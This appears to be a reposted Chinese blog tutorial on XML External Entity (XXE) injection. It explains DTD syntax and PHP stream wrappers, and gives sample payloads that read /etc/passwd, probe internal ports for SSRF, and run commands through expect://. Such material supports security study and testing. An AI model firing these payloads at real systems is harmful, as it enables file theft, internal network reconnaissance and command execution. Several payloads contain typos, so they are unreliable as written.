zoukankan      html  css  js  c++  java
  • XXE 咖面-六娃

    XXE 概述

    • XXE也叫做XML外部实体注入[XML External Entity] , 当XML允许引用外部实体并解析时,会导致攻击者构造恶意实体的payloadj进行攻注入攻击,导致攻击者可以读取任意文件、执行命令、攻击网站、以及进行SSRF攻击等

    XML基础

    • XML声明: < ?xml version="1.0" encoding= "utf-8"?>

    • 内部DTD声明: <!DOCTYPE根元素名称[元素声明] >

    • 外部实体声明: <!ENTITY实体名称SYSTEM "URI/URL" >

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE a[
    <!ENTITY testSYSTEM "php协议">
    ]>
    

    PHP协议概述

    • 进行XXE漏洞测试时,除了一些基本的XML基础.根据不同的环境,需要了解不同的协议,如PHP协议:
    • PHP支持的协议: file:// http:// ft:// php:// zlib:// data:// glob:// phar:// ssh2:// rar:// ogg:// expect://

    xml危害一 [任意文件的读取]

    <!--先定义 -->
    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE a[
    <!ENTITY test SYSTEM "file:///etc/passwd">
    ]>
    <!--再引用 -->
    <x>&test</x>
    
    • 读取php文件:先对文件内容base64编码

    ssrf [内网探测]

    <?xml version="1.0" encoding= "utf-8"?> <!DOCTYPE a [ <!ENTITY b SYSTEM "http://127.0.0.1:3306*> ]> <c>&b;</c>
    
    <?xml version="1.0" encoding="utf-8"?> <!DOCTYPEa[ <!ENTITY b SYSTEM "http://127.0.0.1/1.txt"> ]> <c>&b;</c>
    

    命令执行

    • expect:// 处理交互式的流 (默认不按照的)
    <?xml version="1.0" encoding= "utf-8"?> <!DOCTYPE a [ <!ENTITY b SYSTEM "expect://./test"> ]> <c>&b;</c>
    
  • 相关阅读:
    Apache HTTP Server 与 Tomcat 的三种连接方式介绍(转)
    Java实现二叉树遍历以及常用算法
    随想-经验
    Java代码检查工具
    MongoDB学习笔记-维护
    脏检查
    html5对密码加密
    JavaSript模块化-AMD规范与CMD规范
    AngularJS的$watch用法
    常用的几个小函数
  • 原文地址:https://www.cnblogs.com/l0nmar/p/12822681.html
Copyright © 2011-2022 走看看